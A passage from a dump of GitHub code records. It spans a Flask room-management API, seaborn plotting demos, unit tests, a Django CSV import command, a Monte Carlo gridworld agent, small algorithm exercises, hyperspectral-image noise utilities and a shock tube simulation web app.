cross_origin\nfrom api.v1 import api\nfrom api.models.Room import Room\nfrom api.models.Computer import Computer\nfrom api.arguments.room_arguments import room_computers_argument, new_room_argument\nfrom flask_restx import Resource\nfrom core import limiter, cache\nfrom utils import handle400error, handle404error, handle500error\n\nrooms_ns = api.namespace('rooms',description='Manages the rooms in which the computers are located',decorators=[cors.crossdomain(origin=\"*\")])\n\n\n@rooms_ns.route('/room/',methods=['GET','POST','OPTIONS'])\n\nclass Rooms(Resource):\n\t@limiter.limit('1000/hour')\n\t@api.response(200, 'OK')\n\t@api.response(404, 'Data not found')\n\t@api.response(500, 'Unhandled errors')\n\t@api.response(400, 'Invalid parameters')\n\t@cache.cached(timeout=1, query_string=True)\n\t@jwt_required()\n\t@cross_origin()\n\tdef get(self):\n\t\t\"\"\"\n\t\tReturns all rooms\n\t\t\"\"\"\n\t\ttry:\n\t\t\trooms = Room.fetchAll()\n\t\texcept:\n\t\t\thandle500error(rooms_ns)\n\t\tresponse = jsonify(rooms)\n\t\treturn make_response(response,200)\n\n\t@limiter.limit('1000/hour')\n\t@api.expect(new_room_argument)\n\t@api.response(200, 'OK')\n\t@api.response(404, 'Data not found')\n\t@api.response(500, 'Unhandled errors')\n\t@api.response(400, 'Invalid parameters')\n\t@cache.cached(timeout=1, query_string=True)\n\t@jwt_required()\n\t@cross_origin()\n\tdef post(self):\n\t\t\"\"\"\n\t\tCreates a room\n\t\t\"\"\"\n\t\ttry:\n\t\t\targs = new_room_argument.parse_args()\n\t\t\tlocation = args['location']\n\t\t\tcapacity = args['capacity']\n\t\t\tuse = args['use']\n\t\t\trooms = Room.insert(location,capacity,use)\n\t\texcept:\n\t\t\thandle500error(rooms_ns)\n\t\tresponse = jsonify(rooms)\n\t\treturn make_response(response,200)\n\n@rooms_ns.route('/room/',methods=['GET','DELETE','OPTIONS'])\n\nclass ComputersInRoom(Resource):\n\t@limiter.limit('1000/hour')\n\t@api.response(200, 'OK')\n\t@api.response(404, 'Data not found')\n\t@api.response(500, 'Unhandled errors')\n\t@api.response(400, 'Invalid parameters')\n\t@cache.cached(timeout=1, query_string=True)\n\t@jwt_required()\n\t@cross_origin()\n\tdef get(self,ID):\n\t\t\"\"\"\n\t\tReturns all computer in a room\n\t\t\"\"\"\n\t\ttry:\n\t\t\trooms = Room.fetchComputersInRoom(ID)\n\t\texcept:\n\t\t\treturn handle500error(rooms_ns)\n\t\tresponse = jsonify(rooms)\n\t\treturn make_response(response,200)\n\n\t@limiter.limit('1000/hour')\n\t@api.response(200, 'OK')\n\t@api.response(404, 'Data not found')\n\t@api.response(500, 'Unhandled errors')\n\t@api.response(400, 'Invalid parameters')\n\t@cache.cached(timeout=1, query_string=True)\n\t@jwt_required()\n\t@cross_origin()\n\tdef delete(self,ID):\n\t\t\"\"\"\n\t\tDeletes a room\n\t\t\"\"\"\n\t\ttry:\n\t\t\trooms = Room.delete(ID)\n\t\texcept:\n\t\t\treturn handle500error(rooms_ns)\n\t\tresponse = jsonify(rooms)\n\t\treturn make_response(response,200)\n\t\t\n@rooms_ns.route('/room/unassigned/',methods=['GET','PUT','OPTIONS'])\n\nclass ComputersNotAssigned(Resource):\n\n\t@limiter.limit('1000/hour')\n\t@api.response(200, 'OK')\n\t@api.response(404, 'Data not found')\n\t@api.response(500, 'Unhandled errors')\n\t@api.response(400, 'Invalid parameters')\n\t@cache.cached(timeout=1, query_string=True)\n\t@jwt_required()\n\t@cross_origin()\n\tdef get(self):\n\t\t\"\"\"\n\t\tReturns all computers not assigned to any room\n\t\t\"\"\"\n\t\ttry:\n\t\t\tunassigned = Computer.fetchComputersUnassigned()\n\t\texcept:\n\t\t\treturn handle500error(rooms_ns)\n\t\tresponse = jsonify(unassigned)\n\t\treturn make_response(response,200)\n\n\t@limiter.limit('1000/hour')\n\t@api.expect(room_computers_argument)\n\t@api.response(200, 'OK')\n\t@api.response(404, 'Data not found')\n\t@api.response(500, 'Unhandled errors')\n\t@api.response(400, 'Invalid parameters')\n\t@cache.cached(timeout=1, query_string=True)\n\t@jwt_required()\n\t@cross_origin()\n\tdef put(self):\n\t\t\"\"\"\n\t\tSets the computers assigned to the room\n\t\t\"\"\"\n\t\ttry:\n\t\t\targs = room_computers_argument.parse_args()\n\t\t\troomID = args['roomID']\n\t\t\tcomputers = args['computers']\n\t\t\treturnValue = Room.setRoomIDFor(computers,roomID)\n\t\t\tif not returnValue:\n\t\t\t\tresponse = jsonify(\"Computers assigned\")\n\t\t\t\treturn make_response(response,200)\n\t\t\telse:\n\t\t\t\traise Exception()\n\t\texcept:\n\t\t\treturn handle500error(rooms_ns)\n\t\t","repo_name":"DarioGar/WakeOnLan","sub_path":"WakeOnLan-server/flask/api/namespaces/rooms_ns.py","file_name":"rooms_ns.py","file_ext":"py","file_size_in_byte":4192,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"33437115236","text":"import seaborn as sns\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\n\n\ndef heatmap():\n data = sns.load_dataset(\"flights\")\n data = data.pivot(\"month\", \"year\", \"passengers\")\n sns.heatmap(data=data, annot=True, fmt=\"d\", cmap=\"YlGnBu\")\n\n plt.show()\n data.info()\n\n\ndef lineplot():\n data = sns.load_dataset(\"flights\")\n\n sns.lineplot(data=data, x=\"year\", y=\"passengers\")\n\n plt.show()\n\n\ndef swarmplot():\n data = sns.load_dataset(\"iris\")\n\n sns.swarmplot(x=\"species\", y=\"petal_length\", data=data) # spişiz\n\n plt.show()\n\n\ndef countplot():\n data = sns.load_dataset(\"titanic\")\n\n # Bar plot\n sns.countplot(data=data, x=\"class\")\n\n plt.show()\n\n\ndef scatterplot():\n data = sns.load_dataset(\"tips\")\n\n # Scatter plot\n sns.scatterplot(data=data, x=\"total_bill\", y=\"tip\")\n plt.show()\n\n\ndef FacetGrid1():\n data = sns.load_dataset(\"titanic\")\n\n g = sns.FacetGrid(data, col=\"sex\")\n\n g.map(sns.histplot, \"age\")\n plt.show()\n\n\ndef clustermap():\n iris = sns.load_dataset(\"iris\")\n\n g = sns.clustermap(iris.drop(\"species\", axis=1), cmap=\"coolwarm\", standard_scale=1)\n\n plt.show()\n\n\ndef histplot():\n data = sns.load_dataset(\"iris\")\n\n sns.histplot(data=data, x=\"sepal_length\")\n plt.show()\n\n\ndef violinplot():\n data = sns.load_dataset(\"tips\")\n\n sns.violinplot(x=\"day\", y=\"total_bill\", data=data)\n plt.show()\n\n\ndef jointGrid():\n sns.set_theme(style=\"white\")\n\n df = sns.load_dataset(\"penguins\")\n\n g = sns.JointGrid(data=df, x=\"body_mass_g\", y=\"bill_depth_mm\", space=0)\n g.plot_joint(sns.kdeplot,\n fill=True, clip=((2200, 6800), (10, 25)),\n thresh=0, levels=100, cmap=\"rocket\")\n g.plot_marginals(sns.histplot, color=\"#03051A\", alpha=1, bins=25)\n plt.show()\n\n\ndef FacetGrid2():\n data = pd.DataFrame({\n 'age_group': np.repeat(['18-30', '31-45', '46-60', '61+'], 100),\n 'feedback_rating': np.random.randint(1, 6, 400)\n })\n\n g = sns.FacetGrid(data, col=\"age_group\", margin_titles=True)\n\n g.map(sns.histplot, \"feedback_rating\")\n plt.show()\n\n\nGrapList = [heatmap,\n lineplot,\n swarmplot,\n countplot,\n scatterplot,\n FacetGrid1,\n clustermap,\n histplot,\n violinplot,\n jointGrid,\n FacetGrid2]\n\nfor grap in GrapList:\n grap()\n","repo_name":"berkfatihturan/Introduction-to-Machine-Learning-Homework","sub_path":"week3/week3.py","file_name":"week3.py","file_ext":"py","file_size_in_byte":2390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29433752169","text":"# -*- coding: utf-8 -*-\n\nfrom unittest import TestCase\n\nfrom app import create_app\nfrom app import db\nfrom app import get_app\nfrom app.configuration import TestConfiguration\nfrom app.exceptions import NoApplicationError\n\n\nclass ApplicationTest(TestCase):\n\n def setUp(self):\n \"\"\"\n Initialize the test cases.\n \"\"\"\n\n self.app = create_app(TestConfiguration)\n self.app_context = self.app.app_context()\n self.app_context.push()\n self.request_context = self.app.test_request_context()\n self.request_context.push()\n db.create_all()\n\n def tearDown(self):\n \"\"\"\n Reset the test cases.\n \"\"\"\n\n db.session.remove()\n db.drop_all()\n self.request_context.pop()\n self.app_context.pop()\n\n def test_get_app_success(self):\n \"\"\"\n Test getting the current application object.\n\n Expected result: The application object is successfully returned.\n \"\"\"\n\n app = get_app()\n self.assertIsNotNone(app)\n\n def test_get_app_failure(self):\n \"\"\"\n Test getting the current application object outside the application context.\n\n Expected result: `None` is returned without an exception.\n \"\"\"\n\n # Remove the application context.\n self.app_context.pop()\n\n with self.assertRaises(NoApplicationError):\n app = get_app()\n self.assertIsNone(app)\n\n # Re-add the application context so the tear-down method will not pop an empty list.\n self.app_context.push()\n","repo_name":"BMeu/Aerarium","sub_path":"tests/application_test.py","file_name":"application_test.py","file_ext":"py","file_size_in_byte":1588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40699905261","text":"from functools import partial\n\nimport torch.multiprocessing as mp\nimport torch.nn as nn\n\nfrom colossalai.booster.accelerator import Accelerator\nfrom colossalai.testing import parameterize, rerun_if_address_is_in_use\n\n\n@parameterize('device', ['cpu', 'cuda'])\ndef run_accelerator(device):\n acceleartor = Accelerator(device)\n model = nn.Linear(8, 8)\n model = acceleartor.configure_model(model)\n assert next(model.parameters()).device.type == device\n del model, acceleartor\n\n\ndef run_dist(rank):\n run_accelerator()\n\n\n@rerun_if_address_is_in_use()\ndef test_accelerator():\n world_size = 1\n run_func = partial(run_dist)\n mp.spawn(run_func, nprocs=world_size)\n","repo_name":"Wenlinhan/ColossalAI","sub_path":"tests/test_booster/test_accelerator.py","file_name":"test_accelerator.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"35622858596","text":"\nimport csv\nfrom django.core.management import BaseCommand\n\n# Import the model \nfrom coffee.models import *\n\nfrom endpoints.ml.postgres_data import get_postgres_data\ncoffees = get_postgres_data('SELECT * FROM coffee_dim_coffee')\n\n\nALREDY_LOADED_ERROR_MESSAGE = \"\"\"\nIf you need to reload the child data from the CSV file,\nfirst delete the db.sqlite3 file to destroy the database.\nThen, run `python manage.py migrate` for a new empty\ndatabase with tables\"\"\"\n\n\nclass Command(BaseCommand):\n # Show this when the user types help\n help = \"Loads data from children.csv\"\n\n def handle(self, *args, **options):\n \n # # Show this if the data already exist in the database\n # if dim_coffee.objects.exists():\n # print('child data already loaded...exiting.')\n # print(ALREDY_LOADED_ERROR_MESSAGE)\n # return\n \n # Show this before loading the data into the database\n print(\"Loading data\")\n\n coffee_ids = coffees.coffee_id.unique()\n\n count = 0\n #Code to load the data into database\n for row in csv.reader(open('endpoints\\my_coffee\\data\\/updated_coffees.csv', encoding='cp437')):\n \n if int(row[0]) in coffee_ids: \n r = dim_coffee.objects.get(coffee_id=int(row[0]))\n # my_variety = row[6].split(\",\")\n # my_notes = row[11].split(\",\")\n\n # varietals_x=dim_varietal.objects.filter(varietal__in=my_variety)\n # notes_x=dim_notes.objects.filter(flavor_notes__in=my_notes)\n\n if row[1] == '':\n print('Blank Country')\n else:\n r.country=countries.objects.get(name=row[1])\n\n if row[2] == '':\n print('Blank Farmer')\n else:\n r.farmer=row[2]\n \n if row[3] == '':\n print('Blank Process')\n else:\n r.process=row[3]\n\n if row[4] == '':\n print('Blank Name')\n else:\n r.name=row[4]\n\n # r.varietals.set(varietals_x)\n # r.roaster_notes.set(notes_x)\n\n # if row[3] == '':\n # r.elevation_x = 0\n # r.elevation = int(row[3])\n\n # r.farmer = row[4]\n # r.process = row[5]\n\n # r.storage_path = '.'.join([row[7], 'jpg'])\n\n r.save(update_fields=['country', 'farmer', 'process'])\n else:\n print('no item')\n \n count+=1\n\n print(count, \"completed\")","repo_name":"onthemarq/coffee_app","sub_path":"coffee/management/commands/update_coffee.py","file_name":"update_coffee.py","file_ext":"py","file_size_in_byte":2688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18141159227","text":"import random\n\nimport numpy as np\nimport pandas as pd\n\nrotate_cw = np.matrix([[0, -1], [1, 0]])\nrotate_ccw = np.matrix([[0, 1], [-1, 0]])\n\ndef merge_two_dicts(x, y):\n z = x.copy() # start with keys and values of x\n z.update(y) # modifies z with keys and values of y\n return z\n\nclass MCAgent:\n def __init__(self):\n self.height = 3\n self.width = 4\n self.gamma = 0.9\n self.e = 0.2\n self.visited_states = []\n self.current_episode_rewards = {}\n self.all_episodes_rewards = pd.DataFrame()\n # initial utilities set to 0 for all states\n self.utilities = dict([(str((y, x)), 0) for y in range(3) for x in range(4)])\n self.moves = {\n 0: (-1, 0), # up\n 1: (0, 1), # right\n 2: (1, 0), # down\n 3: (0, -1), # left\n }\n self.policy = dict([(str((y, x)), random.choice(list(self.moves.keys()))) for y in range(3) for x in range(4)])\n\n\n def choose_action(self, s):\n return self.policy[str(s)] if random.uniform(0, 1) < self.e else random.choice(list(self.moves.keys()))\n\n def policy_evaluation(self):\n old_utilities = self.utilities.copy()\n self.utilities = merge_two_dicts(self.utilities, self.all_episodes_rewards.applymap(lambda it: it[0], na_action='ignore').mean().to_dict())\n return np.std(np.array(list(old_utilities.values())) - np.array(list(self.utilities.values())))\n\n\n def policy_iteration(self):\n # Recalculate the best action to take for each state,\n # considering the expected utilities of the possible next states that the action will lead me to.\n #\n # This approach is only possible because the dynamics of the environment are known to the agents,\n # otherwise we would have to calculate the values for each pair (s,a).\n\n for s in self.visited_states:\n policy = [0] * len(self.moves.keys())\n for action in self.moves.keys():\n # possible outcomes (s') from this move\n s_straight, s_cw, s_ccw = self.calculate_outcomes(s, action)\n\n # a = π(s) = argmax[ Σp(s'|s,a)*U(s') ] - since p is known to the agents we can use this to determine the policy\n policy[action] = 0.8 * self.utilities[str(s_straight)] + \\\n 0.1 * self.utilities[str(s_cw)] + \\\n 0.1 * self.utilities[str(s_ccw)]\n\n self.policy[str(s)] = np.argmax(policy)\n\n self.e = min(self.e + 0.1, 0.95)\n\n\n def store(self, r, s_, done):\n # Update previous states\n for key in self.current_episode_rewards:\n U, n = self.current_episode_rewards[key][0]\n n += 1\n U += r * self.gamma ** n\n self.current_episode_rewards[key][0] = (U, n)\n\n # Add state to memory\n if s_ not in self.visited_states:\n self.visited_states.append(s_)\n key = str(s_)\n if key not in self.current_episode_rewards:\n self.current_episode_rewards[key] = [(r, 0)]\n\n # check if done\n if done:\n entry = pd.DataFrame(self.current_episode_rewards)\n self.current_episode_rewards = {}\n self.all_episodes_rewards = self.all_episodes_rewards.append(entry)\n\n def calculate_outcomes(self, s, action):\n s_straight, s_cw, s_ccw = s, s, s\n\n if ((s + np.array(self.moves[action])) != (1, 1)).any():\n s_straight = np.array(s) + np.array(self.moves[action])\n\n if (s + np.array(self.moves[action], int) * rotate_cw != (1, 1)).any():\n s_cw = s + np.array(np.array(self.moves[action], int) * rotate_cw)[0]\n\n if (s + np.array(self.moves[action], int) * rotate_ccw != (1, 1)).any():\n s_ccw = s + np.array(np.array(self.moves[action], int) * rotate_ccw)[0]\n\n s_straight = max(0, s_straight[0]), max(0, s_straight[1])\n s_cw = max(0, s_cw[0]), max(0, s_cw[1])\n s_ccw = max(0, s_ccw[0]), max(0, s_ccw[1])\n s_straight = (min(s_straight[0], self.height - 1),\n min(s_straight[1], self.width - 1))\n s_cw = (min(s_cw[0], self.height - 1),\n min(s_cw[1], self.width - 1))\n s_ccw = (min(s_ccw[0], self.height - 1),\n min(s_ccw[1], self.width - 1))\n return s_straight, s_cw, s_ccw","repo_name":"petros94/monte-carlo-gridworld","sub_path":"agents/mc_agent.py","file_name":"mc_agent.py","file_ext":"py","file_size_in_byte":4359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"337872891","text":"# decimal to binary converter through division - FINAL VERSION\n# Converts decimal to binary through division\n\ndecimal = int(input(\"Insert YOB here: \"))\n\nbinary_list = []\n\nwhile decimal > 0:\n if decimal % 2 == 0:\n binary_list.append(\"0\")\n elif decimal % 2 > 0:\n binary_list.append(\"1\")\n decimal = decimal // 2\n\nbinary_number = \"\".join(binary_list)\nprint (binary_number)\n","repo_name":"ConorHogan/Programming-Scripting-GMIT-CH","sub_path":"Additional_Files/Decimal_to_binary.py","file_name":"Decimal_to_binary.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24882899002","text":"import scipy.io as sio\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport random\r\nimport scipy\r\nfrom my_indexes import *\r\n# from utils import sta\r\n\r\ndef sta(img, mode):\r\n img = np.float32(img)\r\n if mode == 'all':\r\n ma = np.max(img)\r\n mi = np.min(img)\r\n # return (img - mi)/(ma - mi)\r\n img = (img - mi) / (ma - mi)\r\n return img\r\n elif mode == 'pb':\r\n ma = np.max(img, axis=(0, 1))\r\n mi = np.min(img, axis=(0, 1))\r\n img = (img - mi) / (ma - mi)\r\n return img\r\n\r\n else:\r\n print('Undefined Mode!')\r\n return img\r\n\r\ndef add_sp(image,prob):\r\n h = image.shape[0]\r\n w = image.shape[1]\r\n output = image.copy()\r\n sp = h*w # 计算图像像素点个数\r\n NP = int(sp*prob) # 计算图像椒盐噪声点个数\r\n for i in range(NP):\r\n randx = np.random.randint(1, h-1) # 生成一个 1 至 h-1 之间的随机整数\r\n randy = np.random.randint(1, w-1) # 生成一个 1 至 w-1 之间的随机整数\r\n if np.random.random() <= 0.5: # np.random.random()生成一个 0 至 1 之间的浮点数\r\n output[randx, randy] = 0\r\n else:\r\n output[randx, randy] = 1\r\n return output\r\n\r\ndef add_sp_noise(data_path, std_e):\r\n data = scipy.io.loadmat(data_path)\r\n cln_hsi = data['data'].astype(np.float32)\r\n Hei, Wid, Band = cln_hsi.shape\r\n noi_hsi = np.zeros([Hei,Wid,Band])\r\n print('add sparse noise (%s)' % std_e)\r\n for ind in range(Band):\r\n noi_hsi[:, :, ind] = add_sp(cln_hsi[:, :, ind].copy(),std_e)\r\n return cln_hsi, noi_hsi\r\n\r\ndef add_gaussian(image, sigma):\r\n # add gaussian noise\r\n # image in [0,1], sigma in [0,1]\r\n output = image.copy()\r\n output = output + np.random.normal(0, sigma,image.shape)\r\n # output = output + np.random.randn(image.shape[0], image.shape[1])*sigma\r\n return output\r\n\r\ndef add_Gaussian_noise(data_path, std_list):\r\n data = scipy.io.loadmat(data_path)\r\n cln_hsi = data['data'].astype(np.float32)\r\n Hei, Wid, Band = cln_hsi.shape\r\n noi_hsi = np.zeros([Hei,Wid,Band])\r\n for ind in range(Band):\r\n noi_hsi[:, :, ind] = add_gaussian(cln_hsi[:, :, ind].copy(), std_list[ind])\r\n #cln_hsi = cln_hsi[0:100, 0:100, 0:90]\r\n #noi_hsi = noi_hsi[0:100, 0:100, 0:90]\r\n return cln_hsi, noi_hsi\r\n\r\ndef add_Mixture_noise(data_path, std_g_list, std_s_list):\r\n data = scipy.io.loadmat(data_path)\r\n cln_hsi = data['data'].astype(np.float32)\r\n Hei, Wid, Band = cln_hsi.shape\r\n cln_hsi = sta(cln_hsi, mode='pb')\r\n noi_hsi = np.zeros([Hei,Wid,Band])\r\n # print('add Gaussian noise (%s)' % std_g)\r\n # print('add Sparse noise (%s)' % std_s)\r\n for ind in range(Band):\r\n noi_hsi[:, :, ind] = add_sp(cln_hsi[:, :, ind].copy(), std_s_list[ind])\r\n noi_hsi[:, :, ind] = add_gaussian(noi_hsi[:, :, ind].copy(), std_g_list[ind])\r\n return cln_hsi, noi_hsi\r\n\r\ndef get_variance(InputT):\r\n Hei, Wid, Band = InputT.shape\r\n InputM = InputT.reshape(Hei*Wid, Band)\r\n InputM = InputM[5000:6000, :]\r\n listA = [i for i in range(Band)]\r\n std_e = np.zeros(Band)\r\n for ind in range(Band):\r\n x = InputM[:, np.delete(listA, ind)]\r\n y = InputM[:, [ind]]\r\n res = y - np.dot(x, np.dot(np.linalg.inv(np.dot(x.T,x)+np.eye(Band-1)*0.001),np.dot(x.T,y)))\r\n std_e[ind] = np.std(res[:,0])\r\n return std_e\r\n\r\ndef GW(InputT, std_e):\r\n Hei, Wid, Band = InputT.shape\r\n NorT = np.zeros([Hei, Wid, Band])\r\n for ind in range(Band):\r\n NorT[:, :, ind] = InputT[:, :, ind]/std_e[ind]\r\n return NorT\r\n\r\ndef IGW(InputT, std_e):\r\n Hei, Wid, Band = InputT.shape\r\n NorT = np.zeros([Hei, Wid, Band])\r\n for ind in range(Band):\r\n NorT[:, :, ind] = InputT[:, :, ind]*std_e[ind]\r\n return NorT\r\n\r\ndef GetNoise(datapath,noise_case,std):\r\n \"\"\"\r\n \"\"\"\r\n if noise_case == 'complex':\r\n print('complex')\r\n std_g_list = np.random.uniform(low=0.0, high=std, size=300)\r\n std_s_list = np.random.uniform(low=0.0, high=0.1, size=300)\r\n [cln_hsi, noi_hsi] = add_Mixture_noise(datapath, std_g_list, std_s_list)\r\n return cln_hsi, noi_hsi\r\n elif noise_case == 'n.i.i.d-g':\r\n print('n.i.i.d-g')\r\n std_g_list = np.random.uniform(low=0.0, high=std, size=300)\r\n [cln_hsi, noi_hsi] = add_Gaussian_noise(datapath, std_g_list)\r\n return cln_hsi, noi_hsi\r\n else:\r\n print('i.i.d-g')\r\n std_g_list = std*np.ones(300)\r\n [cln_hsi, noi_hsi] = add_Gaussian_noise(datapath, std_g_list)\r\n return cln_hsi, noi_hsi\r\n\r\nif __name__ == \"__main__\":\r\n datapath = \"training_data/cd_ms.mat\"\r\n std_g_list = np.random.uniform(low=0.0, high=0.4, size=300)\r\n std_s_list = np.random.uniform(low=0.0, high=0.2, size=300)\r\n #[cln_hsi, noi_hsi] = add_Mixture_noise(datapath, std_g_list, std_s_list)\r\n [cln_hsi, noi_hsi] = add_Gaussian_noise(datapath, std_g_list)\r\n Hei, Wid, Band = noi_hsi.shape\r\n noi_mat = noi_hsi.reshape(Hei * Wid, Band)\r\n std_e = get_variance(noi_mat[1501:2500,:])\r\n print(np.mean(std_e), np.mean(std_g_list))\r\n [mpsnr, mssim, avsam1, ergas] = msqia(cln_hsi, noi_hsi)\r\n band = random.randint(0, 31)\r\n print(band)\r\n print(mpsnr, mssim, avsam1, ergas)\r\n plt.subplot(1, 2, 1)\r\n plt.imshow(cln_hsi[:, :, band])\r\n plt.subplot(1, 2, 2)\r\n plt.imshow(noi_hsi[:, :, band])\r\n noi_hsi[:, :, band]\r\n plt.show()\r\n","repo_name":"andrew-pengjj/RCILD","sub_path":"hsi_dataprocess.py","file_name":"hsi_dataprocess.py","file_ext":"py","file_size_in_byte":5440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20751206953","text":"import random\n\n\ndef partition(L, p, r):\n x = L[r]\n i = p-1\n for j in range(p, r):\n if L[j] <= x:\n i += 1\n L[i], L[j] = L[j], L[i]\n L[i+1], L[r] = L[r], L[i+1]\n return i+1\n\n\ndef randomPartition(L, p, r):\n if p == r:\n return p\n i = random.randint(p, r)\n L[i], L[r] = L[r], L[i]\n return partition(L, p, r)\n\n\ndef randomizedSelect(L, p, r, i):\n if p == r:\n return L[p]\n q = randomPartition(L, p, r)\n k = q - p + 1\n if i == k:\n return L[q]\n elif i < k:\n return randomizedSelect(L, p, q-1, i)\n else:\n return randomizedSelect(L, q+1, r, i-k)\n\n\ndef kthMinLinear(L, k):\n \"\"\" Assumption: L is a list of numbers. k is the index to be found.\n time complexity: O(n) - expected linear time implementation\n randomizedSelect method finds the Kth elemenet by repeated partitioning\n the List around randomly chosen pivot.\n \"\"\"\n if L is None:\n return None\n if k < 0 or k > len(L):\n return None\n value = randomizedSelect(L, 0, len(L)-1, k)\n return value\n\n\ndef kthMin(L, k):\n \"\"\" Assumption is L is a list, here we will sort the list and return the\n Kth index - time complexity: O(nlog(n)) \"\"\"\n if L is None:\n return None\n if k < 0 or k > len(L):\n return None\n L.sort()\n return L[k-1]\n\n\ndef readInput():\n flag = True\n while flag:\n try:\n print (\"Enter comma separated numbers: \")\n S = input()\n S = S.split(\",\")\n S = [int(s.strip()) for s in S]\n flag = False\n except ValueError as e:\n print (\"Invalid entry! Try Again..\", e)\n\n flag = True\n while flag:\n try:\n print (\"Enter k value: \")\n k = input()\n k = int(k.strip())\n flag = False\n except ValueError as e:\n print (\"Bad Input! try again..\", e)\n\n return (S, k)\n\n\ndef main():\n L, k = readInput()\n print (\"Sorted list for reference is: \")\n print (sorted(L))\n kthVal = kthMin(L, k)\n print (\"{} min value in list is - log_linear: {}\".format(k, kthVal))\n random.shuffle(L)\n kthVal = kthMinLinear(L, k)\n print (\"{} min value in list is - expected_linear: {}\".format(k, kthVal))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"mbhushan/ps-algods-py","sub_path":"chap2-AlgoAnalysis/FindKMin.py","file_name":"FindKMin.py","file_ext":"py","file_size_in_byte":2307,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"37"} +{"seq_id":"21151002754","text":"class Solution:\n def pivotIndex(self, nums: List[int]) -> int:\n # Time Complexity: O(N)\n # Space Complexity: O(1)\n\n cumsum = 0\n total_sum = sum(nums)\n\n for i, num in enumerate(nums):\n if cumsum == total_sum - num - cumsum:\n return i\n cumsum += num\n\n return -1\n","repo_name":"nhatsmrt/AlgorithmPractice","sub_path":"LeetCode/724. Find Pivot Index/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"37"} +{"seq_id":"17155911667","text":"from __future__ import division\nfrom app import db\nfrom sqlalchemy.exc import IntegrityError, InterfaceError\nfrom flask import flash\nfrom threading import Thread\nfrom app.mod_rstp.models import SimModel\nfrom RSTP import RSTPTest, RSTPIV, RSTPBV, RSTPExplicitParams, RSTPImplicitParams\nfrom ODESolver import ODEExplicit, ODEImplicit , FVTransverse\n\n#There seems no easier way to maintain the threads created by our App\nSimThreadList = []\n\nclass WorkerSim(Thread):\n def __init__(self,db_id):\n self.db_id = db_id\n self.tstop= False #Used for stopping simulation\n Thread.__init__(self, name=str(db_id))\n \n def run(self): \n #Read parameters from DB\n user_data = UserSim().query(self.db_id)\n \n #Start simulation\n if user_data.solver == 0: #Explicit Euler\n self.explicit_euler(user_data)\n user_data.sim_status = 1\n UserSim().update(user_data) \n elif user_data.solver == 1: #Implicit Euler\n self.implicit_euler(user_data)\n user_data.sim_status = 1\n UserSim().update(user_data)\n elif user_data.solver == 2: #Crank Nicholson\n self.crank_ni(user_data)\n user_data.sim_status = 1\n UserSim().update(user_data)\n else:\n print(\"Unknown or unsupported solver\")\n \n def explicit_euler(self,user_data):\n params = RSTPExplicitParams(user_data.mesh_size,user_data.gamma,user_data.cfl) \n params.set_fig_path('./app/static/')\n params.fv_boundary_strategy = FVTransverse #Default, may also be skipped \n iv = RSTPIV(Vx=[user_data.Vx_left,user_data.Vx_right], \\\n Mx=[user_data.Mx_left,user_data.Mx_right], \\\n D=[user_data.D_left,user_data.D_right], \\\n Rho=[user_data.rho_left,user_data.rho_right])\n bv = RSTPBV()\n testlist = [RSTPTest(self.db_id,params,iv,bv,ode_strategy=ODEExplicit)]\n stats_count = 10\n [test.solve(self.isStop,stats_count) for test in testlist] \n \n def implicit_euler(self,user_data):\n params = RSTPImplicitParams(user_data.mesh_size,1.0,user_data.gamma,user_data.max_iter_count,user_data.cfl) \n params.set_fig_path('./app/static/')\n params.fv_boundary_strategy = FVTransverse #Default, may also be skipped \n iv = RSTPIV(Vx=[user_data.Vx_left,user_data.Vx_right], \\\n Mx=[user_data.Mx_left,user_data.Mx_right], \\\n D=[user_data.D_left,user_data.D_right], \\\n Rho=[user_data.rho_left,user_data.rho_right])\n bv = RSTPBV()\n testlist = [RSTPTest(self.db_id,params,iv,bv,ode_strategy=ODEImplicit)]\n stats_count = 10\n [test.solve(self.isStop,stats_count) for test in testlist] \n \n #Unused currently, TBD when second order spatial discretization is implemented\n def crank_ni(self,user_data):\n params = RSTPImplicitParams(user_data.mesh_size,0.5,user_data.gamma) \n params.set_fig_path('/home/saur/ilastik/miniconda2/envs/RSTPWebApp/app/static/')\n params.fv_boundary_strategy = FVTransverse #Default, may also be skipped \n iv = RSTPIV(Vx=[user_data.Vx_left,user_data.Vx_right], \\\n Mx=[user_data.Mx_left,user_data.Mx_right], \\\n D=[user_data.D_left,user_data.D_right], \\\n Rho=[user_data.rho_left,user_data.rho_right])\n bv = RSTPBV()\n testlist = [RSTPTest(self.db_id,params,iv,bv,ode_strategy=ODEImplicit)]\n stats_count = 10\n [test.solve(self.isStop,stats_count) for test in testlist] \n\n\n def isStop(self):\n return self.tstop\n \nclass UserSim:\n def __init__(self):\n self.available_solvers = {\"EE\":0,\"IE\":1,\"CN\":2}\n self.available_gammas = {\"0\":0,\"4/3\":4/3,\"5/3\":5/3,\"2\":2}\n \n def validate_and_start(self,ode_solver,discont,Vx,Mx,D,rho,msize,gas_gamma,cfl=1.0,max_iter_count=1):\n db_id = -1\n solver = self.available_solvers.get(ode_solver)\n if solver == None:\n print('Error: no such ODE solver supported ' + solver)\n return -1\n \n gamma = self.available_gammas.get(gas_gamma)\n if gamma == None:\n print('Error: Unsupported Gamma values ' + solver)\n return -1\n #Rest are assumed to be validated by form validation\n usersim = SimModel(solver,discont,Vx,Mx,D,rho,msize,cfl,gamma,max_iter_count)\n try:\n 